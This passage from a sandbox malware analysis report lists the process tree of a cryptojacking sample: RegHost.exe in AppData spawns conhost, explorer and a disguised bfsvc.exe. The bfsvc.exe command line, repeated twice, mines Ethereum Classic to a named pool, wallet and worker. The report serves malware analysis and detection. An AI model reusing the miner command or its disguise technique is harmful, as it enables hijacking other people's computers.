File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: RegHost.exe PID: 5524 Parent PID: 3352Analysis Process: RegHost.exe PID: 5524 Parent PID: 3352

General

Analysis Process: conhost.exe PID: 6148 Parent PID: 5524Analysis Process: conhost.exe PID: 6148 Parent PID: 5524

General

Analysis Process: explorer.exe PID: 5824 Parent PID: 5524Analysis Process: explorer.exe PID: 5824 Parent PID: 5524

General

Copyright Joe Security LLC 2022 Page 100 of 103

Start time: 20:24:04

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe"

Imagebase: 0x7ff78ebd0000

File size: 8427520 bytes

MD5 hash: BEC308E8E2D80CE6AC72020F906C4E55

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 20:24:06

Start date: 15/01/2022

Path: C:\Windows\bfsvc.exe

Wow64 process (32bit): false

Commandline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14

Imagebase: 0x7ff6e65c0000

File size: 67072 bytes

MD5 hash: 178BA90AA13F6F834E5C060DC923FB55

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:07

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe"

Imagebase: 0x7ff78ebd0000

File size: 8427520 bytes

MD5 hash: BEC308E8E2D80CE6AC72020F906C4E55

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:11

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Analysis Process: RegHost.exe PID: 3628 Parent PID: 6172Analysis Process: RegHost.exe PID: 3628 Parent PID: 6172

General

Analysis Process: bfsvc.exe PID: 5784 Parent PID: 5524Analysis Process: bfsvc.exe PID: 5784 Parent PID: 5524

General

Analysis Process: RegHost.exe PID: 4768 Parent PID: 3352Analysis Process: RegHost.exe PID: 4768 Parent PID: 3352

General

Analysis Process: conhost.exe PID: 6084 Parent PID: 4768Analysis Process: conhost.exe PID: 6084 Parent PID: 4768

General

Copyright Joe Security LLC 2022 Page 101 of 103

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:12

Start date: 15/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\explorer.exe

Imagebase: 0x7ff720ea0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:15

Start date: 15/01/2022

Path: C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe

Wow64 process (32bit): false

Commandline: "C:\Users\user\AppData\Roaming\Microsoft\RegHost.exe"

Imagebase: 0x7ff78ebd0000

File size: 8427520 bytes

MD5 hash: BEC308E8E2D80CE6AC72020F906C4E55

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:18

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: explorer.exe PID: 760 Parent PID: 4768Analysis Process: explorer.exe PID: 760 Parent PID: 4768

General

Analysis Process: RegHost.exe PID: 6340 Parent PID: 3352Analysis Process: RegHost.exe PID: 6340 Parent PID: 3352

General

Analysis Process: conhost.exe PID: 3544 Parent PID: 6340Analysis Process: conhost.exe PID: 3544 Parent PID: 6340

General

Analysis Process: bfsvc.exe PID: 1308 Parent PID: 4768Analysis Process: bfsvc.exe PID: 1308 Parent PID: 4768Copyright Joe Security LLC 2022 Page 102 of 103

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Disassembly

Code Analysis

Copyright Joe Security LLC

Start time: 20:24:19

Start date: 15/01/2022

Path: C:\Windows\bfsvc.exe

Wow64 process (32bit): false

Commandline: C:\Windows\bfsvc.exe -log 0 -ftime 60 -pool eu1-etc.ethermine.org:4444 -wal 0x7A73B81c335dc70c3d7DE1e19c776F95cc5DA2c3 -coin etc -worker bobrishe -mi 14

Imagebase: 0x7ff6e65c0000

File size: 67072 bytes

MD5 hash: 178BA90AA13F6F834E5C060DC923FB55

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Start time: 20:24:19

Start date: 15/01/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7f20f0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Start time: 20:24:20

Start date: 15/01/2022

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\explorer.exe

Imagebase: 0x7ff720ea0000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

General

Analysis Process: conhost.exe PID: 7112 Parent PID: 3628Analysis Process: conhost.exe PID: 7112 Parent PID: 3628

General

Analysis Process: explorer.exe PID: 6200 Parent PID: 6340Analysis Process: explorer.exe PID: 6200 Parent PID: 6340

General

Copyright Joe Security LLC 2022 Page 103 of 103